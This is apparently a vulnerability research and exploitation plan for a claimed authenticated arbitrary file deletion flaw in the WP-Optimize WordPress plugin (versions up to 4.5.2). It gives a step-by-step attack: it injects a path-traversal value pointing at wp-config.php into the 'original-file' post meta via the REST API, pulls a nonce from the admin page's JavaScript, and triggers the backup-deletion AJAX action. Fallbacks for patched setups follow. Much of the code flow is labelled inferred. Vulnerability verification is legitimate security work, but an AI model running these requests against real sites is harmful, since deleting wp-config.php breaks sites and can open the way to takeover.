WP-Optimize <= 4.5.2 - Authenticated (Author+) Arbitrary File Deletion via 'original-file' Post Meta

This research plan outlines the steps to verify the arbitrary file deletion vulnerability (CVE-2026-7252) in WP-Optimize versions up to 4.5.2.

1. Vulnerability Summary

WP-Optimize features an image optimization (Smush) component that creates backups of original images before compression. The plugin uses a post meta key named original-file (associated with the attachment) to store the path of the original file.

Because original-file does not start with an underscore, WordPress treats it as a "public" meta key. This allows any user with edit_posts permissions (Author role and above) to modify this value via the REST API or the standard Media Edit form. The function unscheduled_original_file_deletion (likely called during a "Delete Backup" or "Undo Smush" operation) fails to validate that the path stored in this meta key resides within the expected uploads directory, allowing for arbitrary file deletion via path traversal.

2. Attack Vector Analysis

• Endpoint: admin-ajax.php
• Action: wpo_smush_delete_backup (Inferred from CSS class wpo_smush_delete_backup_spinner in css/smush-4-5-2.min.css)
• Vulnerable Parameter: The attachment_id sent to the AJAX action, which then retrieves the original-file meta.
• Injection Point: wp-json/wp/v2/media/<id> (REST API) to set the original-file meta value.
• Authentication: Authenticated, Author-level access or higher.
• Preconditions:
  1. The attacker must have an Author account.
  2. The attacker must have uploaded at least one media file (to have an attachment ID to manipulate).

3. Code Flow (Inferred)

1. Meta Injection: An Author sends a REST API request to update their attachment's metadata. Since original-file is public, WordPress allows the update.
2. Trigger: The Author triggers the wpo_smush_delete_backup AJAX action for that specific attachment ID.
3. Retrieval: The AJAX handler calls unscheduled_original_file_deletion($attachment_id).
4. Path Retrieval: The function calls get_post_meta($attachment_id, 'original-file', true).
5. Sink: The retrieved path (e.g., ../../../../wp-config.php) is passed directly to a deletion function (e.g., wp_delete_file() or unlink()) without sufficient traversal checks.

4. Nonce Acquisition Strategy

The Smush actions in WP-Optimize are protected by nonces localized in the admin UI.

1. Requirement: To see the Smush interface and get the nonce, the user must be in the Admin dashboard.
2. Location: The nonces are typically found in the wpo_smush_vars JavaScript object localized on the "WP-Optimize > Images" page.
3. Acquisition Steps:
   • Log in as an Author.
   • Navigate to the WP-Optimize Images page: /wp-admin/admin.php?page=wp-optimize-images.
   • Use browser_eval to extract the nonce:

     window.wpo_smush_vars?.delete_backup_nonce
     

   • If the above is unavailable, check window.wp_optimize_ajax_vars?.nonce.

5. Exploitation Strategy

Step 1: Meta Injection (Path Traversal Setup)

As an Author, update the metadata of an image you own to point to wp-config.php.

• Request: POST /wp-json/wp/v2/media/<ATTACHMENT_ID>
• Headers: Content-Type: application/json, X-WP-Nonce: <REST_NONCE>
• Body:

  {
    "meta": {
      "original-file": "../../../wp-config.php"
    }
  }
  

  (Note: The number of ../ depends on the structure, but ../../../wp-config.php usually reaches the root from the year/month upload directory.)

Step 2: Trigger File Deletion

Call the AJAX action that processes the deletion.

• Request: POST /wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=wpo_smush_delete_backup&attachment_id=<ATTACHMENT_ID>&nonce=<DELETE_BACKUP_NONCE>
  

6. Test Data Setup

1. User: Create a user attacker with the author role.
2. File: As attacker, upload a small PNG file to the Media Library. Note its id (e.g., 123).
3. Target: Ensure wp-config.php exists in the WordPress root.

7. Expected Results

• The REST API call should return 200 OK, confirming the meta key was updated.
• The AJAX call should return a success message (likely JSON with success: true).
• The file wp-config.php should be deleted from the server.

8. Verification Steps

1. File Existence: Check if the file still exists using the shell:

   ls -la /var/www/html/wp-config.php
   

2. WP-CLI Check: Try to run a WP-CLI command. If wp-config.php is missing, it will fail:

   wp option get siteurl
   

   Expected Error: "Error: The 'wp-config.php' file could not be found."

9. Alternative Approaches

• Absolute Path: If the plugin doesn't prepend the upload directory path, try an absolute path: /var/www/html/wp-config.php.
• Other Meta Keys: If original-file is patched, look for other public meta keys used in the Updraft_Smush_Manager class (referenced in changelog.txt).
• REST API Nonce: If the REST API is blocked for Authors, the meta can be updated via the wp-admin/post.php (Edit Media) page using the custom_meta or standard meta update fields if exposed.